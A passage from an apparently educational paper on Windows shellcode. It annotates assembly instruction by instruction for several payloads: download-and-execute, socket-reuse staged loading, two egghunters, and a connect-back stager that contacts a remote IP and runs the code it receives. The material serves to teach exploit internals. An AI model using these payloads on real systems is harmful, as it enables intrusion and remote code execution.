151. `call [ebp + 0x14]`
Call `CreateProcess` to execute the file that was downloaded.

152. `call [ebp + 0x18]`
Call `ExitProcess` to exit the parent process.

153. `call startup`
Call startup so that the the VMA of the URL will be on the top of the stack.

8.5 Staged Loading Shellcode

8.5.1 Dynamic File Descriptor Re-use

The following is the analysis for the `findfdread` assembly:

1. `jmp startup`
Jump to startup to skip over `find_kernel32` and `find_function`.

2. `jmp shorten_find_function_forward`
Jump forward as the first step of obtaining the absolute address that the shellcode is executing at.

3. `jmp shorten_find_function_end`
Jump past the call to continue execution.

4. `call shorten_find_function_middle`
Call backwards to push the absolute address of `pop esi` onto the stack.

5. `pop esi`
Pop the return address off the stack an into esi.

6. `sub esi, 0x57`
Subtract `0x57` from esi to point to the start of `find_function`[6].

7. `call find_kernel32`
Call `find_kernel32`. The address will be stored in eax.

[6]This offset is hardcoded due to the limitations of the inline assembler being used by the author. In some assemblers it is possible to make use of the $ symbol, or current position operator, in relation to its offset from a given symbol.

8. `mov edx, eax`
   Preserve the `kernel32.dll` base address in edx.

9. `push 0xec0e4e8e`
   Push the computed hash of `LoadLibraryA` onto the stack as the second argument to `find_function`.

10. `push edx`
    Push the base address of `kernel32.dll` as the first argument to `find_function`.

11. `call esi`
    Call `find_function` for `LoadLibraryA`. The VMA of the symbol will be returned in eax.

12. `mov ebx, eax`
    Preserve the VMA of `LoadLibraryA` in ebx.

13. `xor eax, eax`
    Zero eax so that the high order bytes will be null.

14. `mov ax, 0x3233`
    Move `32` into the low order bytes of eax.

15. `push eax`
    Push the value onto the stack.

16. `push 0x5f327377`
    Push `ws2_` onto the stack.

17. `push esp`
    Push the pointer to `ws2_32` onto the stack as it will be used in the call to `LoadLibraryA`.

18. `call ebx`
    Call `LoadLibraryA`. The base address of `ws2_32.dll` will be returned in eax.

19. `mov edx, eax`
    Preserve the base address of `ws2_32.dll` in edx.

20. `push 0x95066ef2`
    Push the computed hash of `getpeername` onto the stack as the second argument to `find_function`.

21. `push edx`
    Push the base address of `ws2_32.dll` onto the stack as the first argument to `find_function`.

22. `call esi`
    Call `find_function` for `getpeername`. The VMA of the symbol will be returned in eax.

23. `mov edi, eax`
    Preserve the VMA of `getpeername` in edi.

24. `push 0xe71819b6`
    Push the computed hash of `recv` onto the stack as the second argument to `find_function`.

25. `push edx`
    Push the base address of `ws2_32.dll` onto the stack as the first argument to `find_function`.

26. `call esi`
    Call `find_function` for `recv`. The VMA of the symbol will be returned in eax.

27. `push eax`
    Preserve the VMA of `recv` on the stack for later use.

28. `sub esp, 0x14`
    Allocate `20` bytes of stack space for use in the call to `getpeername`.

29. `mov ebp, esp`
    Use ebp as the frame pointer for the next set of function calls.

30. `xor eax, eax`
    Zero eax.

31. `mov al, 0x10`
    Set the low order byte of eax to `16`. This will represent the size of the `struct sockaddr` argument to `getpeername`.

32. `lea edx, [esp + eax]`
    Load the effective address of esp + `16` into edx. This will serve as the `namelen` argument to `getpeername`.

33. `mov [edx], eax`
    Set the value of `namelen` to `16`.

34. `xor esi, esi`
    Zero esi as it will be used as the file descriptor starting point.

35. `inc esi`
    Increment esi to point to the next file descriptor to test.

36. `push edx`
    Push the `namelen` argument onto the stack to preserve it across function calls.

37. `push edx`
    Push the `namelen` argument onto the stack as the third argument to `getpeername`.

38. `push ebp`
    Push the `name` argument onto the stack as the second argument to `getpeername`.

39. `push esi`
    Push the file descriptor that is being tested as the first argument to `getpeername`.

40. `call edi`
    Call `getpeername`. If the call succeeds, eax will be zero. Otherwise it will be non-zero. In the event that the call succeeds it is true that the file descriptor is at least valid.

41. `test eax, eax`
    Bitwise test eax with itself to determine whether or not the call succeeded.

42. `pop edx`
    Restore the `namelen` pointer as it may have been clobbered due to the function call.

43. `jnz find_fd_loop`
    If eax is not zero, loop again. This indicates that an error occurred in the call to `getpeername` and as such the file descriptor is likely invalid.

44. `cmp word ptr [esp + 0x02], 0x5c11`
    Compare the `sin_port` attribute of `struct sockaddr_in` to `4444` in network byte order. The port being compared to is arbitrary and can be modified to suit whatever purposes are required[7].

45. `jne find_fd_loop`
    If the port does not match then jump to `find_fd_loop` and continue searching. Otherwise, drop down as the file descriptor has been found.

46. `add esp, 0x14`
    Restore 20 bytes to the stack.

47. `pop edi`
    Pop the VMA of `recv` off of the stack and into edi.

48. `xor ebx, ebx`
    Zero ebx. This will be used as the `flags` argument to `recv`.

49. `inc eax`
    Increment eax to 1.

[7] If one were doing the method of comparing hostnames one would simply need to compare the addr attribute to the four byte address in network byte order.

50. `sal eax, 0x0d`
    Shift the value in eax (1) 13 bits to the left setting it to `0x00002000`. This will be used to allocate stack space to store the payload read from the file descriptor.

51. `sub esp, eax`
    Allocate `8192` bytes of stack space.

52. `mov ebp, esp`
    Use ebp as a frame of reference before arguments start being pushed.

53. `push ebx`
    Push the `flags` argument which is set to `0`.

54. `push eax`
    Push the length of the buffer that is to be read into as the `length` argument.

55. `push ebp`
    Push a pointer to the buffer as the `buffer` argument.

56. `push esi`
    Push the file descriptor that was found with `getpeername` as the `fd` argument.

57. `call edi`
    Call `recv`. No error checking is done here in the interest of size as it's assumed that the full buffer will be read. Granted, it is possible that the full buffer will not be read.

58. `jmp ebp`
    Jump into the buffer that was read from the file descriptor. It should now hold the `second stage shellcode`.

8.5.2 Egghunt

The following is the analysis for the `egghunt` assembly:

1. `jmp startup`
   Jump to startup to skip over the `exception_handler.`

2. `mov eax, [esp + 0x0c]`
   Get the context argument to the exception handler off the stack.

3. `lea ebx, [eax + 0x7c]`
   Load the effective address of the context plus `0x7c` into ebx. This is done to prevent surpassing the maximum signed byte size and thus preventing nulls.

4. `add ebx, 0x3c`
   Add `0x3c` to the offset into the context structure to complete the address from above. This offset stores the EIP that the exception occurred at.

5. `add [ebx], 0x07`
   Add seven bytes to EIP to skip over the assembly that validates that the egg has been found and jumps into it. By skipping over it the pointer register will be incremented and the loop will continue.

6. `mov eax, [esp]`
   Grab the return address off the stack and store it in eax.

7. `add esp, 0x14`
   Manually restore the stack arguments and the return address like retn 0x10 would do. This prevents the word byte null that is encountered when using retn.[8]

8. `push eax`
   Push the return address back onto the stack.

9. `xor eax, eax`
   Zero the return value to indicate to the caller that no more handlers should be called (`ExceptionContinueExecution`).

10. `ret`
    Return to the caller.

11. `mov eax, 0x42904290`
    Initialize eax to the value of the egg that is to be searched for.

12. `jmp init_exception_handler_skip`
    Jump forward as the first stage of the process to obtain the absolute address that the shellcode is currently executing at.

13. `jmp init_exception_handler`
    Jump over the call to restore the normal execution path.

14. `call init_exception_handler_fwd`
    Call backwards to push the absolute address of `pop ecx` onto the stack.

15. `pop ecx`
    Grab the absolute address of the `pop ecx` instruction from the top of the stack and store it in ecx.

16. `sub ecx, 0x25`
    Calculate the absolute address of the exception handler by subtracting `0x25` from the address.

[8] At the time of this writing it appears that this causes problems on Windows 9x with regards to the fact that the caller of the exception handler is not using stdcall but rather is using cdecl. If this is the case then the arguments should not be restored as the caller is responsible for that.

17. `push esp`
    Push a place-holder notification buffer that will be passed to the exception handler. This buffer does not get used.

18. `push ecx`
    Push the absolute address of the egghunt exception handler.

19. `xor ebx, ebx`
    Zero ebx.

20. `not ebx`
    Invert the bits in ebx to set it to `0xffffffff`. This will be used to indicate that there are no more exception handlers.

21. `push ebx`
    Push the address of the next exception handler, in this case `0xffffffff` is specified to indicate that there are no more exception handlers.

22. `xor edi, edi`
    Zero edi to use as the offset into the `fs` segment.

23. `mov fs:[edi], esp`
    Move the structure for the custom exception handler into `fs:[0]`. This will establish the custom exception handler.

24. `xor ecx, ecx`
    Zero ecx for use as a counter.

25. `mov cl, 0x2`
    Set the low byte of ecx to 2 as 2 4 byte values will be checked by scasd.

26. `push edi`
    Preserve the current pointer on the stack.

27. `repe scasd`
    Compare the egg to the current pointers value in memory twice, once at offset `0x0` and the second at offset `0x4`. This is used to ensure that the egg is found back-to-back in memory.

28. `jnz search_loop_failed`
    If ZF is not set, jump past the success code to continue looping through pointers.

29. `pop edi`
    Restore edi to its original value.

30. `jmp edi`
    Jump into edi (in this case the larger shellcode).

31. `pop edi`
    Restore edi to its original value.

32. `inc edi`
    Increment edi as to move on to the next pointer to test.

33. `jmp search_loop_start`
    Iterate the loop again to see if this is the pointer to the egg.

8.5.3 Egghunt (syscall)

The following is the analysis for the `egghunt_syscall` assembly:

1. `xor edx, edx`
   Zero edx as it will serve as the pointer.

2. `xor eax, eax`
   Zero the system call register.

3. `mov ebx, 0x50905090`
   Set ebx to the egg that will be hunted for. In this case the egg is: `nop / push eax / nop / push eax x 2 .`

4. `mov al, 0x08`
   Set the low byte of eax to the system call number for `NtAddAtom`, 0x08.

5. `inc edx`
   Increment the pointer.

6. `mov ecx, eax`
   Initialize ecx to 0x08.

7. `inc ecx`
   Increment ecx setting it to 0x09. This is used as the counter for the loop to ensure that there are 8 valid bytes that can be read from before a comparison is made.

8. `pushad`
   Preserve all the registers as they will come back clobbered from the system call.

9. `lea edx, [edx + ecx]`
   Load the effective address of the pointer plus the current offset into the input parameter for `AtomName`.

10. `int 0x2e`
    Interrupt into kernel land.

11. `cmp al, 0x05`
    Check to see if the low byte of the return code is set to 0x05. If it is, assume that the return code was in actuality 0xC0000005. This test could be made more accurate by adding a check for SF being set.

12. `popad`
    Restore the registers were preserved before performing the system call. The check to see what the actual return code was has already been done so it does not matter that eax is restored.

13. `je loop_check_8_start_pre`
    If the return code was equal to 0x05, assume that the address was invalid and start the enumeration over at the very top.

14. `loop loop_check_8_cont`
    Otherwise, since it succeeded, check to see if ecx is zero. If it isn't zero, continue checking to ensure that there are 8 bytes of valid memory from which to read relative to the current pointer. If ecx is zero, drop down and perform the comparisons.

15. `inc edx`
    At this point the pointer is one lower than it should be. Increment it to point it at the correct spot.

16. `cmp dword ptr [edx], ebx`
    Do the first for bytes match the egg that is being searched for?

17. `jne loop_check_8_start`
    No, start at the next address.

18. `cmp dword ptr [edx + 0x04], ebx`
    So far so good, but do the next four byte match the egg that is being search for?

19. `jne loop_check_8_start`
    Nope. Start at the next address.

20. `jmp edx`
    Yippie. The egg has been found, jump to it.

8.5.4 Connectback IAT

The following is the analysis for the `Connectback IAT` assembly:

1. `xor edi, edi`
   Zero edi for null arguments.

2. `push edi`
   Push null onto the stack.

3. `push 0x4e434f53`
   Push 'SOCN'.

4. `push 0x534d4244`
   Push 'DBMS'.

5. `push esp`
   Push the pointer to 'DBMSSOCN' as the argument to `LoadLibraryA`.

6. `call eax`
   Call `LoadLibraryA`.

7. `mov ebx, eax`
   Save the base address of `DBMSSOCN.DLL` in ebx.

8. `mov bh, 0x30`
   Set the 2nd byte of ebx to 0x30 making bx 0x3000.

9. `push edi`
   Push the flags argument as 0.

10. `push edi`
    Push the group argument as 0.

11. `push edi`
    Push the protocol information argument as NULL.

12. `push edi`
    Push the protocol argument as 0.

13. `inc edi`
    Increment edi to 1.

14. `push edi`
    Push the type agument as 1 (SOCK_STREAM).

15. `inc edi`
    Increment edi to 2.

16. `push edi`
    Push the af argument as 2 (AF_INET).

17. `call [ebx + 0x74]`
    Call `WSASocketA` from the `Import Address Table` of `DBMSSOCN.DLL`.

18. `mov edi, eax`
    Save the file descriptor in edi.

19. `push DEFAULT_IP`
    Push the IP address that will be connected to as the `sin_addr` argument.

20. `mov eax, 0x5c110102`
    Set eax to the `sin_port` and `sin_family` attributes. The default port is 4444.

21. `dec ah`
    Fix the `sin_family` attribute.

22. `push eax`
    Push the `sin_port` and `sin_family` attributes.

23. `mov edx, esp`
    Save the pointer to the stack in edx.

24. `xor eax, eax`
    Zero eax for use as the size parameter.

25. `mov al, 0x10`
    Set the low byte of eax to 0x10 which is the size of `struct sockaddr_in`.

26. `push eax`
    Push the namelen argument as 0x10.

27. `push edx`
    Push the name argument as the pointer to the `struct sockaddr_in` on the stack.

28. `push edi`
    Push the file descriptor returned from `WSASocketA`.

29. `call [ebx + 0x4c]`
    Call `connect` from the `Import Address Table` of `DBMSSOCN.DLL`.

30. `inc ah`
    Set eax to 0x1000 as `connect` should have returned 0.

31. `sub esp, eax`
    Allocate 4096 bytes of stack space for use in the recv call.

32. `mov ebp, esp`
    Save the pointer to the buffer in ebp.

33. `xor ecx, ecx`
    Zero ecx for use as the flags argument.

34. `push ecx`
    Push the flags argument as 0.

35. `push eax`
    Push the length argument as 4096.

36. `push ebp`
    Push the buffer argument as the pointer to the output buffer.

37. `push edi`
    Push the s argument as the file descriptor returned from `WSASocketA`.

38. `call [ebx + 0x54]`
    Call `recv` from the `Import Address Table` of `DBMSSOCN.DLL`.

39. `jmp ebp`
    Jump into the buffer that was read.

Bibliography

[1] The Last Stage of Delerium. *Win32 Assembly Components*. http://www.lsd-pl.net/documents/winasm-1.0.1.pdf; accessed Nov 27, 2003.

[2] MetaSploit. *Shellcode Archive*. http://www.metasploit.com/shellcode.html; accessed Nov 27, 2003.

[3] NTInternals.net. *Undocumented Functions for Microsoft Windows NT/2000*. http://undocumented.ntinternals.net; accessed Nov 28, 2003.